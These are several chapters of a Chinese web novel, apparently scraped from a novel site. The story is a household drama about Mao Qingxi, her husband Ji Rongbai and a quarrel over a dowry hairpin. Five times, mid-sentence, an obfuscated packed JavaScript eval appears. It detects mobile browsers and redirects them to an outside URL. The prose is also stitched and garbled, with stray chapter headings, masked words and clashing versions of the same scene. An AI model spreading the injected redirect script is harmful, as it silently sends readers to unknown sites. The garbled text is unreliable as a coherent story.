两人回到里屋,茅清兮迫不及待地开口:“对了,你不是说买了千层酥吗?在哪儿呢?” 冀容白唇角勾起一抹狡黠的笑意,故意逗她:“我逗你玩的,哪有什么千层酥。” 茅清兮的眼睛“唰”地一下瞪大了,原本亮晶晶的眸子瞬间冷了下来,像是结了一层冰霜。 她气鼓鼓地瞪着冀容白,一字一顿地说道:“燕、述、白!” 冀容白见状,意识到自己玩大了,连忙从怀里掏出一个油纸包,讨好地递了过去。 “好啦好啦,跟你闹着玩呢,喏,给你的。” 茅清兮一把夺过油纸包,小心翼翼地拆开,动作间带着几分急切。 千层酥的香味扑鼻而来,她捻起一块,送入口中,细细咀嚼着,脸上露出了满足的笑容, 冀容白看着她,眸光温柔似水。 茅清兮一连吃了好几块,这才想起身旁的冀容白。 她有些不好意思地笑了笑,将手中的油纸包递到冀容白面前。 “你也吃。” 冀容白摇了摇头:“我不爱吃甜的。” 茅清兮一愣,随即反应过来,冀容白这是在报复她呢。 她眼珠一转,计上心来。 “你不吃,那我可就自己吃了。”她故意说道,然后又拿起一块千层酥,慢悠悠地吃了起来。 冀容白看着她,眼神里带着一丝无奈,一丝宠溺。 “说吧,要怎么样才肯分我一块?” 茅清兮得意地笑了笑,伸出一根手指:“叫一声夫君来听听。” 冀容白挑了挑眉,似乎有些意外。 “就这?” 茅清兮点了点头:“就这。” 冀容白看着她,嘴角缓缓勾起一抹笑容,声音低沉而富有磁性:“夫君。” 茅清兮愣住了,她没想到冀容白竟然真的叫了。 她只觉得脸上有些发烫,心跳也有些加速。 “给……给你。”她连忙将手中的油纸包塞到冀容白手里,然后转身就跑。 冀容白看着她落荒而逃的背影,忍不住笑出了声。阳光正好,透过枝叶,洒下斑驳光影。 茅清兮一身利落劲装,在院中舞起寒星矛。枪尖破空,带起一阵劲风,吹得落叶翻飞。 左臂虽有伤,却丝毫不影响她手中**的威力。 一套破霄枪法使完,茅清兮只觉胸中畅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16062163|179210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 快,将连日来卧床休养的郁气一扫而空。 她将枪往兵器架上一搁,想起冀容白之前的承诺。 鹰羽卫的军营…… 她有些心动,却又拉不下脸去求他。 一想到冀容白那似笑非笑的眼神,她就一阵气闷。 那家伙,分明是故意逗弄她! 正烦闷着,俞霜快步走了进来,打断了她的思绪。 “主子,朝堂上有消息了!”俞霜的声音里带着一丝急切。 茅清兮心中一动,连忙问道:“可是邱默的案子有结果了?” “嗯,”俞霜点点头,“尹云河被抓了,关在刑部大牢,三法司会审,锦衣卫也插手了。” “不光是他,”俞霜压低了声音,“尹家也倒霉了,被人参了一本,什么强抢民女,侵占田地,****……总之是墙倒众人推,圣上直接下令把尹家一族都给扣了。” “还有宁王,”俞霜的语气有些幸灾乐祸,“今儿早朝被圣上骂了个狗血淋头,说他整日沉迷声色犬马,罚他在府里闭门思过,没圣旨不许出来。” 茅清兮听得仔细,却越听越觉得不对劲。 宁王被罚的理由,怎么听都像是在避重就轻。 “那泰州兵备道呢?”她忍不住问道。 “这个……”俞霜有些迟疑,“今儿早朝没提。” 茅清兮的脸色顿时沉了下来。 没提?这怎么可能? 太子私自调动兵马,这可是掉脑袋的大罪,圣上怎么会一点反应都没有? 她心中疑云密布,只觉得这潭水,比她想象的还要深得多。 然而,第二日早朝的消息,却让茅清兮大吃一惊。 太子竟然也被罚了,而且还是因为跟潘云霄有私下来往! 这潘云霄,不是一向跟太子不对付吗? 据说,太子借着已故太子妃的名义,私下联系潘云霄,结果被潘云霄直接告到了圣上面前。 这下,太子可是跳进黄河也洗不清了。 跟宁王一样,太子也被罚闭门思过。 至于泰州兵备道的那些人,该贬的贬,该流放的流放,一个都没跑掉。 一个太子,一个皇子,都挨了罚,谁也不偏袒。 圣上这手腕…… 茅清兮心中了然,当今圣上正值壮年,哪能容忍底下的人蹦跶得太欢? 第一百三十三章 什么太子、皇子,都不过是他手中的棋子罢了。 只有相互制衡,才能坐稳他的皇位。 想通了这一点,茅清兮的心情反而轻松了些。 看来,想扳倒太子,还得从长计议。 “对了,”俞霜又说了一件事,“今儿早朝,圣上还让贤王去了户部。” “贤王?”茅清兮一时没反应过来。 这位贤王,在皇室宗亲里,可是个出了名的透明人。 出身卑微,不争不抢,整日里就知道舞文弄墨,跟个闲云野鹤似的。 圣上怎么突然想起他来了? 不过转念一想,茅清兮也就明白了。 贤王没根基,没势力,正好用来搅浑这潭水。 只是,贤王若没点真本事,只怕刚进朝堂,就要被太子和宁王的人给生吞活剥了。 看来,这朝堂上的风向,又要变了。 茅清兮揉了揉眉心,觉得有些头疼。 这些勾心斗角的事情,实在不是她擅长的。 “听雨阁那边,得让司玄苏多留心些。”她自言自语道。 正想着,院门外突然传来一阵敲门声。 这扇通往秦府的门,已经很久没人来过了。 茅清兮示意绿绿去开门。 门外站着个眼生的丫鬟,见绿绿出来,便问道:“主子们可在府上?” 绿绿上下打量了她一番,问道:“你是哪儿的?有什么事?” 那丫鬟似乎有些不耐烦,直接伸手推门:“哎呀,你管我是哪儿的!老夫人邀请二奶奶为小姐梳妆,明儿大小姐出嫁,少夫人好歹也得表示表示吧?” 绿绿一听这话,顿时明白了。 原来是冀晚雨要出嫁了。 “添妆?”绿绿冷笑一声,“我家少夫人跟大小姐可没什么交情,添什么妆?” “你这丫头怎么说话呢!”那丫鬟顿时拔高了声音,“我可是世子的人马!我们王妃在秦府受了委屈,小王爷特意让我们来护着她!你敢拦我?” 她一边说,一边用力推门,恨不得直接闯进来。 茅清兮在院子里听得真切,眉头微微皱起。 冀晚雨出嫁,跟她有什么关系? 再说了,这丫鬟口中的“大夫人”,莫非是冀容白的生母? 想到那位神秘的白苏道长,茅清兮心中一动。 “让她进来吧。”她对绿绿说道。 那丫鬟得意洋洋地走了进来,目光在茅清兮身上扫来扫去,带着几分挑衅。 “少夫人,”她皮笑肉不笑地说道,“您看,是不是该准备些添妆的礼?明儿京城里可有不少贵人要来呢。” 茅清兮冷眼瞥了她一下,吩咐绿绿:“去把我妆台上的那个紫檀木盒子拿来。” 那丫鬟一听“紫檀木盒子”,眼睛顿时亮了起来,以为是什么值钱的宝贝。 谁知等绿绿把盒子拿来,她一看,顿时傻眼了。 这盒子……也太普通了吧? 连个花纹都没有,一看就不是什么值钱的玩意儿! “少夫人,您就拿这个添妆?”她忍不住问道,语气里带着几分轻蔑。 茅清兮微微一笑:“怎么,不够吗?” “这……”那丫鬟一时语塞,不知道该说什么好。 “走吧,”茅清兮懒得跟她废话,抬脚就往外走,“带我去看看。” 那丫鬟连忙跟上,心里却在嘀咕: “哼,装模作样!等到了地方,看你怎么丢脸!” 两人一路来到冀晚雨的院子。 还没进门,就听见里面传来一阵喧闹声。 “哟,这不是弟妹吗?快进来快进来!” 一个打扮得花枝招展的妇人迎了出来,正是秦府的二夫人。 她身后跟着几个年轻女子,个个穿金戴银,珠光宝气。 茅清兮一眼就认出,其中一个正是冀晚棠。 “弟妹,”二夫人笑得一脸虚伪,“你来得正好,快来帮着参谋参谋,看看给晚雨添些什么好。” 说着,她便拉着茅清兮往里走。 茅清兮不动声色地挣脱了她的手,淡淡地说道:“二夫人客气了,我不过是来走个过场,添妆的事情,还是你们自己拿主意吧。” 她说着,将手中的紫檀木盒子递给一旁的丫鬟。 “这是我的一点心意,还请大小姐不要嫌弃。” 那丫鬟接过盒子,打开一看,顿时愣住了。 里面竟然只有一支普通的银簪子! “这……”她看了看茅清兮,又看了看二夫人,不知道该说什么好。 二夫人也没想到茅清兮会送这么寒酸的礼物,脸上的笑容顿时僵住了。 “弟妹,”她干巴巴地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16062164|179210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说道,“你这也太……太客气了吧?” 茅清兮微微一笑,不置可否。 “呀,这是谁送的簪子?好生别致!” 一个娇滴滴的声音突然响起。 冀晚雨不知什么时候走了过来,一把抓起那支银簪子,仔细端详起来。 “这簪子的款式,我倒是从未见过,瞧着倒是挺有意思的。” 她一边说,一边将簪子插在自己的发髻上,还对着镜子照了照。 “怎么样?好看吗?”她笑眯眯地问众人。 众人面面相觑,不知道该如何回答。 这簪子……实在是太普通了,跟冀晚雨身上华丽的衣裳首饰格格不入。 “好看!”茅清兮却突然开口说道,“大小姐戴什么都好看。” 她这话一出,众人的目光顿时都集中在了她身上。“哟,贵客到了!咱们宋家的大忙人,可算是露面了啊!” 一声尖细的嗓音,像根针似的扎进喧闹。 茅暮暮扭着腰肢,摇曳生姿,领着一群花枝招展的贵女们,呼啦啦涌进屋,把原本还算宽敞的屋子挤得满满当当。 她身后那些个小姐妹,一个个打扮得跟开屏孔雀似的,环佩叮当,珠光宝气。 茅清兮眼皮都没抬,只淡淡扫了她一眼。 搭理她? 犯不着。 前些日子,茅飞羽不愿回侯府那事,闹得沸沸扬扬,成了京城里茶余饭后的谈资。 这茅暮暮,心里指不定怎么偷着乐呢。 茅清兮余光瞥见茅暮暮嘴角快咧到耳根的笑,心想,也是,她跟刁明远的婚事眼瞅着就要退了,又见着自己吃瘪,能不得意吗? 最近她可算春风得意,扬眉吐气,连带着看人的眼神都带着一股子轻狂。 茅清兮收回视线,目光落在屋内靠窗的位置。 喜房宽敞明亮,布置得那叫一个喜庆,红彤彤的,晃得人眼晕。 可坐在那儿的女子,却像一幅水墨画,清清冷冷,遗世独立,硬生生嵌进了这浓墨重彩里,看着有些格格不入。 她有着冰雪雕琢般的肌肤,五官精致得像是画里走出来的,又带着几分不食人间烟火的清冷。 往那一坐,屋里其他人,顿时黯然失色,仿佛成了她的背景板。 茅清兮盯着那张与冀容白有七八分像的脸,心里跟明镜似的。 第一百三十四章 还用问吗? 这肯定就是冀大夫人了。 她身上穿着素净的灰色棉麻袍子,款式简单,没有任何绣纹,浑身上下连个首饰的影子都没有,只手腕上绕着串檀木佛珠,瞧着就不是个凡俗的。 眉眼低垂,瞧着柔顺,却掩不住那绝世的容颜,和眉宇间淡淡的疏离。 “嫂子,您可算来了!” 冀晚雨脸上堆起笑,几步迎上前,亲亲热**招呼,仿佛两人真是亲密无间的妯娌。 茅清兮收回打量的目光,从绿绿手里接过一个紫檀木雕花首饰盒。 盒子有些分量,不轻不重地递了过去。 “恭喜。” 声音淡淡的,听不出喜怒,也听不出任何情绪。 冀晚雨笑意盈盈地接过,指尖却微微发颤,话里也带了刺,像裹着糖霜的**: “嫂嫂驾到真是太好了,我还以为……嫂子不愿意见我呢,毕竟……” 她故意拖长了声音,话里有话。 这话说的,就差指着鼻子骂她不识好歹了。 茅清兮抬眼,看着她,唇角勾起一抹似笑非笑的弧度,像是洞悉了她的小心思: “怎么会呢?小妹终于能入康熙王府门,我这个做嫂子的,也替你高兴。” “好不容易”四个字,她咬得格外清晰,像一把小锤子,一下下敲在冀晚雨的心上。 冀晚雨脸上的笑,瞬间僵住,像被人抽了一巴掌,火辣辣的疼。 她能嫁进康熙王府,使了什么手段,自己心里比谁都清楚。 京城里这些贵女,哪个没在背后笑话她不知廉耻,手段下作? 这又能如何! 冀晚雨深吸一口气,告诉自己,只要进了康熙王府的门,就再也不用看人脸色了。 冀晚棠那**住过的院子,如今不也归了自己? 有康熙王府的小王爷护着,谁还敢给她气受?谁敢当面嘲笑她? 想到这,冀晚雨又笑了,笑得得意,笑得张狂。 她猛地转头,朝身后那群贵女们扬了扬手里的紫檀木首饰盒: “姐妹们猜猜,嫂子给我送了什么添妆礼?猜中了,有赏!” 语气里,带着掩饰不住的炫耀和得意。 当然,还有一丝不易察觉的轻蔑,仿佛在说,我倒要看看,你能送出什么好东西。 她料定茅清兮拿不出什么好东西。 都是侯府里不受宠的嫡女,谁不知道谁啊?谁还没点心酸的过往? 茅清兮跟她一样,活得窘迫又难堪,偏偏还要装出一副云淡风轻的样子。 好像那些糟心事,都不值一提似的。 这让她觉得自己像个跳梁小丑,所有的恨都无处发泄,憋屈得慌。 冀晚雨最恨的,就是茅清兮这副平静的样子,好像什么都不能让她动容。 她“啪”地一声打开首饰盒,动作随意,甚至带着几分粗鲁。 她打定主意,要是茅清兮拿些破烂玩意儿糊弄她,一定要狠狠奚落她一番,让她当众出丑。 “呀!这是什么?” “一个木簪子?我的天,这也太简陋了,连木头茬子都没打磨平整!这是哪个乡下匠人做的?” “就是说啊,好歹也是做嫂子的,这也太不上心了!别说金簪子了,连个银的都舍不得?不会是把厨房里烧火的木棍劈下来做的吧?” 人群里,顿时炸开了锅,一声声惊呼,一句句嘲讽,像刀子一样,往茅清兮身上扎,恨不得把她扎成筛子。 茅暮暮眼珠子一转,掩着嘴“咯咯”笑起来,看似好心解释,实则火上浇油: “哎呀,姐姐们可别这么说,你们又不是不知道,我这姐姐,在府里过得是什么日子。姐夫从不给她银子花,她自己都没什么首饰戴呢,能拿出这个就不错啦。你们就别难为她了。” 她这话一出,众人纷纷朝茅清兮身上打量,像看西洋景似的。 果不其然,茅清兮身上,除了头上插着的那支看不出材质的木钗,再没别的首饰。 素净得……简直寒酸! 要知道,各家贵女,就算再穷酸,也会戴点首饰撑场面,不至于让人看了笑话。 更何况这种场合,那更是争奇斗艳,恨不得把压箱底的宝贝都戴上,生怕被人比了下去。 茅清兮这样…… 不会是穷得揭不开锅了吧? 大家心里都跟明镜似的,却都心照不宣地交换着眼神。 冀晚雨听着周围的窃窃私语,看着众人鄙夷的目光,心中那点得意,又放大了几分。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16062165|179210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她脸上的笑容更盛了,声音不大不小,却足够让每个人都听清: “其实,嫂子送什么,我都喜欢。不过,我看嫂子也挺难的,以后啊,这种场合就别硬撑着了,没得让人笑话。妹妹我现在什么都不缺,小王爷对我可好了,别说金银首饰了,就是天上的星星,他都恨不得摘下来给我。我这辈子,怕是什么都不愁了。” 这话,明着是体贴,暗里却是在炫耀,炫耀自己的受宠,炫耀自己的富有。 果然,周围响起一片艳羡的恭维声,一声声“小王爷对你真好”“真是好福气”之类的,听得冀晚雨心花怒放。 茅清兮冷眼瞧着,嘴角微微一撇,正要开口,却被一个声音打断。 “这支簪子,可不是寻常之物。” 一个温和却有力的声音,如同一股明溪,注入这浑浊的池塘,让嘈杂的声音瞬间安静了下来。 说话的,正是方才一直沉默不语的冀大夫人。 “此簪,乃当年圣上在安州起事,亲手所制,用的是前朝肃王府后院那棵百年合欢树的树心。” 冀大夫人缓缓说道,声音不大,却清晰地传进了每个人的耳朵里。 她顿了顿,环视四周,继续说道: “当年,圣上亲手砍了那棵合欢树,残害百姓的上朝**,以示与过去**,得了民心,才揭竿起义,成就了一番霸业。” “圣上起事成功后,将那合欢树的树干,命人制成了五支簪子。这五支簪子,意义非凡,代表着圣上的决心和气魄。” 她的话,像一块巨石投入湖中,激起千层浪。 屋内众人,面面相觑,都从彼此眼中看到了震惊和不可思议。 关于这芙蓉木簪的来历,在座的都是官宦世家女眷,自然都听过。 只是,谁也没见过真容,只当是个传说。 没想到,今天竟然见到了真的! “这五支簪子,一支赐给了皇后娘娘,一支赐给了萧王妃,一支赐给了长公主,以表彰她们在圣上起事过程中的功劳。” 冀大夫人继续说着,语气平静,仿佛在讲述一件稀松平常的事情。 “剩下两支,其中一支……” 她微微停顿,目光落在冀晚雨手中的木簪上, “……就是你手里这支。 第一百三十五章 ” “另一支呢?”有人忍不住问道。 冀大夫人没有回答,只是淡淡地笑了笑,笑容里带着几分意味深长。 这下,所有人都明白了。 另一支,自然是在冀大夫人手里。 冀晚雨的脸色,一阵青一阵白。 她看看手中的木簪,再看看茅清兮,只觉得脸上火辣辣的,仿佛被人狠狠扇了几巴掌。 她做梦也没想到,自己竟然会收到如此贵重的礼物。 可这礼物,偏偏是茅清兮送的! 这让她情何以堪? 她仿佛从茅清兮的眼神里,看到了自己的浅薄和无知。 那种感觉,就像被人当众扒光了衣服,扔在大街上,难堪至极,无地自容。 茅清兮一定是在嘲笑她! 绝对是! 她一定是在看自己的笑话! 冀晚雨强压着心头的怒火,声音尖锐地质问,像是要把所有的不满都发泄出来: “茅清兮,你安的什么心?送我这么个破玩意儿,是想让我出丑吗?这簪子,该不会是你从哪个地摊上淘来的假货,有意谎称是皇上亲手打造的吧?想骗谁呢!” 这话,与其说是疑问,不如说是给自己找台阶下,试图挽回一点颜面。 茅清兮看着她,眼神像在看一个跳梁小丑,一个无理取闹的孩子。 “冀晚雨,你是不是脑子进水了?说这簪子珍贵的,是你娘,又不是我。你有气,找你娘撒去,你瞪我做什么?” 她语气平淡,仿佛在说一件无关紧要的事,根本不把冀晚雨的愤怒放在眼里。 “你要是不信,就把它掰断了,看看里面有没有圣上的御笔亲题。或者,你拿去宫里,找皇后娘娘或者长公主她们鉴定一下,看看是真是假。不过,我可提醒你,这簪子要是真的,你毁了它,可是大不敬之罪,是要掉脑袋的!” 茅清兮微微挑眉,语气里带着一丝挑衅,一丝玩味。 反正,她是真不在乎这簪子。 一个破木头簪子,有什么好稀罕的? 茅清兮还记得,娘亲以前说过,一直想把这簪子烧了,当柴火都嫌硌手。 自从知道圣上对娘亲的态度有异,并非真心相待,茅清兮就更不想留着这玩意儿了。 这发钗不过是个空壳,还能有什么用? 丑不拉几的,母亲那时就看不上眼,说它配不上自己的美貌。 “茅清兮!你……” 冀晚雨气得浑身发抖,她不明白,茅清兮为什么要送一支这样的簪子给她。 她不愿相信,也不敢相信这簪子是真的。 这让她觉得自己像个傻瓜,被茅清兮耍得团团转。 她更不明白,茅清兮为什么能如此平静,如此淡然,仿佛一切都与她无关。 “够了!” 冀大夫人突然开口,打断了冀晚雨的歇斯底里。 她缓缓起身,走到冀晚雨身边,平静地看着她,眼神里带着失望和无奈。 冀晚雨一见她,眼睛瞬间就红了,怒火更盛,像是压抑了许久的情绪,终于找到了宣泄口。 她指着冀大夫人,声音颤抖,带着哭腔: “娘!你为什么要帮着茅清兮说话?你明知道我讨厌她,你还帮她?你是不是……是不是从来都没把我当成你的女儿?!” 冀大夫人遭盘问,脸色却依旧平静,没有一丝波澜。 她看着冀晚雨,缓缓开口: “晴儿,你太让我失望了。” “我……”冀晚雨被她看得心虚,气焰顿时弱了下去。 冀大夫人没有理会她,而是微微侧头,对身旁的侍女吩咐: “去,将我那根发钗取来,给二小姐看看。” 声音不大,却带着不容置疑的威严,让人不敢违抗。 侍女应了一声,转身快步离去。 没一会儿,丫鬟已经返回。 她手里捧着一个黑漆描金的盒子,盒子看起来有些年头了,边角都磨损了。 侍女走到冀大夫人身边,恭恭敬敬地将盒子打开。 在场所有人的目光,都集中在了那个盒子上, 只见里面铺着明黄色的绸缎,绸缎上,静静地躺着一支木簪。 与冀晚雨手中那支,一模一样。 同样是合欢木制成,同样是简单的造型,同样的……毫不起眼。 若不是冀大夫人亲口证实,谁会相信,这是当年圣上亲手制作的,象征着无上荣耀的芙蓉木簪? 冀晚雨看着那支簪子,整个人都傻了。 她张了张嘴,想说什么,却什么也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16062166|179210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说不出来。 她的脸色,由白转红,又由红转青,最后定格在一片死灰般的苍白上。喜房里的气氛凝滞得令人窒息。 铜镜前,冀晚雨望着镜中那张精致的脸,眼底闪过一丝不耐。她的手指无意识地敲打着梳妆台,发出令人烦躁的声响。 “这簪子不行,换一个。”她将手中那支金丝镶宝的凤钗随手丢在桌上,“今日是我大喜的日子,怎能戴这种俗气的东西?” 贵女们面面相觑,却都不约而同地露出看好戏的神色。她们心里都清楚,若不是看在康熙王的面子上,谁愿意来给这个趾高气扬的准王妃添妆。 自从攀上康熙小王爷这门亲事,冀晚雨就没少在她们面前炫耀。那副高高在上的姿态,早就惹得众人不快。 “晚雨,”冀大夫人的声音淡淡响起,“这支凤钗是你嫂子特意为你准备的,你...” “娘!”冀晚雨猛地站起身,打断了冀大夫人的话,“我说了不要就是不要!这种东西也配戴在康熙王府的王妃头上?” 屋内的空气瞬间凝固。 茅清兮坐在一旁,手中把玩着那支被冀晚雨嫌弃的凤钗,眼底闪过一丝讥讽。这支凤钗是她花了大价钱从江南定制的,用的可是最上等的金丝玉料。 “妹妹这是嫌弃嫂子送的东西不够好?”茅清兮冷笑一声,“也是,现在攀上了康熙王府这棵大树,自然看不上我们这些寻常人家的东西了。” 冀晚雨强撑着镇定,可当她看到冀大夫人和茅清兮那漠然的神色时,所有的镇定瞬间土崩瓦解。她的指甲深深掐进掌心,脸上的表情逐渐扭曲。 “你们...你们就是嫉妒!”她尖声道,“嫉妒我能嫁入王府,而你只能嫁给那个残废!” “啪!” 清脆的巴掌声在房间内回荡。 茅清兮的手还停在半空中,眼中的寒意几乎要将人冻结:“冀晚雨,你说谁是残废?” “我说的就是冀容白!”冀晚雨捂着发烫的脸颊,眼中满是怨毒,“一个废人,连路都走不稳,也配做国公府的继承人?” “放肆!”康熙王府的丫鬟厉声喝道,“你也配议论小王妃?” 茅清兮冷笑着站起身:“还没进门就有人护着了。不过,你们最好回去告诉老王妃,你们的准王妃最看不起残疾人。 第一百三十六章 ” 她意有所指地看着冀晚雨:“小舅爷怕是要搬出王府了,免得被妹妹嫌弃。” 这话如同一记重锤,砸得冀晚雨脸色煞白。康熙王府的丫鬟们也变了脸色,她们都知道老王妃最疼爱那个在战乱中失去一条腿的弟弟。 “茅清兮,你胡说什么!”冀晚雨急声辩解,“我说的是冀容白和你,关别人什么事!” 冀大夫人突然将冀晚雨手中的首饰盒拿过来,还给了茅清兮:“这发钗值钱得很。这串佛珠,就当是你哥和你嫂子送的添妆吧。” “啪!” 冀晚雨一把将佛珠摔在地上,珠子四散滚落。有几颗滚到了门口,正巧被推门而入的冀晚棠踩在脚下。 看到最恨的人出现,冀晚雨眼中闪过一丝阴毒:“二妹,可算是来了。” 冀晚棠站在门口,目光扫过曾经属于自己的梳妆台,又落在冀晚雨那张得意的脸上。她的手指微微颤抖,指节因为用力而发白。 “这屋子归我管!”冀晚棠咬牙切齿地说,“冀晚雨,你给我滚出去!” 丫鬟连忙拉住暴怒的冀晚棠:“小姐,冷静啊!想想夫人怎么说的。” 冀晚雨得意地大笑:“二妹这是怎么了?小王爷疼我,把府里最好的院子给了我,二妹要是想来,随时都可以来坐坐。” “**!” 冀晚棠再也忍不住,挣脱丫鬟的束缚,冲上去狠狠扇了冀晚雨一巴掌。 “你不过是我身边的一条狗,现在也敢骑到我头上来?”她揪住冀晚雨的头发,又是两个耳光。 冀晚雨被打懵了,往日被欺凌的记忆涌上心头。那些被冀晚棠欺辱的画面一幕幕在眼前闪过,她尖叫起来:“还不快拦住她!” 几个丫鬟手忙脚乱地去拉冀晚棠,却拦不住她发疯般的攻击。冀晚雨精心打理的发髻被扯得一团糟,她疯狂地大叫:“给我打死她!今天我要她的命!” 丫鬟们面面相觑,有人小声提醒:“王妃,明日是大喜之日,不宜见血。” “啪!” 冀晚雨甩了那丫鬟一巴掌:“谁不动手,我这就告诉小王爷把你们打包送青楼!” 婢女们面面相觑,朝冀晚棠围了上去。 就在这时,外面传来一阵急促的脚步声。 “住手!” 一道威严的声音响起,所有人都僵在原地。 康熙王府的老王妃站在门口,面色阴沉得可怕。她的目光从满地狼藉扫过,最后落在冀晚雨身上。 “好一个准王妃,”老王妃冷笑一声,“婚礼还没开始,就在府上闹出这么大的动静。” 冀晚雨顿时慌了神,连忙跪下:“王妃恕罪,是晚棠她...” “闭嘴!”老王妃厉声打断,“本王妃刚才在外面,可是把你说的话都听得一清二楚。” 冀晚雨的脸色瞬间变得惨白。 老王妃冷冷地看着她:“你说得对,残废确实不配待在王府。明日的婚事,取消了。” “不!”冀晚雨扑上去抱住老王妃的腿,“王妃明鉴,我不是那个意思...” “来人,”老王妃挥了挥手,“送燕小姐回府。” 两个婆子上前,不由分说地架起冀晚雨。 “不要!”冀晚雨疯狂挣扎,“我不要回去!小王爷说过要娶我的!” 老王妃看都不看她一眼,转身离去。 冀晚棠站在一旁,看着冀晚雨被拖走时狼狈的模样,嘴角勾起一抹冷笑。 这一切,都是她计划好的。 她知道冀晚雨最恨的就是被人提起从前的事,所以特意在这个时候来刺激她。果然,这个蠢货一点就着,当着所有人的面露出了真面目。 冀晚棠转身离开喜房,身后传来冀晚雨歇斯底里的哭喊声。 她的脚步不停,眼中闪过一丝快意。 这个仗,她赢了。 “章节字数”:4186“冀大夫人。” 身后传来的声音,让冀夫人停下脚步。她缓缓转身,黛眉之下,一双清冷的眸子,如秋水般望了过来。 茅清兮抬眼看去。 即便心中已有准备,却还是被眼前这人的容貌所震慑。这般倾城之姿,清冷如谪仙的气质,实在难以让人将她与“偷情”二字联系起来。 可若冀容白与冀晚雨并非一母同胞……茅清兮的眼神微微一黯,那这风流韵事,怕就远不止一次了。 她压下心中纷乱的思绪,几步上前,再次开口:“冀大夫人。” 冀夫人静静地看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16062167|179210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着她,那双似乎不属于人间的眸子里,慢慢地,漾起了一丝不易察觉的暖意。 “认我做娘亲又何妨。”冀夫人淡淡开口,声音很轻,却透着一股不容置疑。 茅清兮一怔,随即反应过来,自己如今,确实是冀家的媳妇,冀大夫人的儿媳。 “母亲。”她顺从地改了口,声音低低的,带着几分试探。 冀夫人唇角微动,似是笑了一下,又仿佛只是一个细微的表情变化。 “童霜若知你唤我母亲,不知……会作何感想。” 茅清兮心头一惊:“您……认识我娘?” “何止认识,”冀夫人微微垂眸,似是陷入了回忆,“你娘……可是极厌恶我的。” 茅清兮一时语塞。 冀夫人自顾自地往下说,声音里带着一丝若有若无的怅惘:“她说,我是红颜祸水,说似我这般的女子,若无自保之力,便是身死,怕都不知缘由。” 茅清兮万万没想到,自家娘亲竟还有如此“毒舌”的一面,更不曾想,她竟早早地就得罪了自己未来的婆婆,这可如何是好? 她原本还想探一探冀夫人对冀容白究竟是何态度,如今看来,这条路怕是走不通了。 难道,冀夫人当真能眼睁睁看着冀容白毒发身亡? 茅清兮定了定神,勉强笑了笑:“母亲,我娘她……有时说话口无遮拦,您莫要往心里去。其实……她自己也生得极美,只是……唉,红颜薄命,也不知是怎么没的。” 眼下这情形,茅清兮也只能先委屈一下自家娘亲了。 冀夫人听了,明显愣怔了一下,眼神也变得有些复杂。 “你……这是在夸你娘亲?她……究竟因何而逝?” 茅清兮轻叹一声:“听说是……**身亡。不过,也有人说她是病逝,究竟如何,谁也说不清。” 冀夫人怔愣了许久,望着茅清兮的目光,幽深得像一汪看不见底的潭水,又似乎想透过她,看到另一个人。 良久,她才缓缓回神,声音轻若微风:“你今日来寻我,可是为了……冀容白?” 茅清兮微微一顿,点头承认:“是。母亲可知晓白苏道长在何处?” 冀夫人语气平淡:“他们的事,我向来不问。 第一百三十七章 ” 一股无名火,蓦地从茅清兮心底窜起。 “母亲可知,究竟是何事?”她紧紧盯着冀夫人,声音微微发颤。 “我无需知道,”冀夫人别过头,不愿与她对视,“我早已不过问这些俗事。” 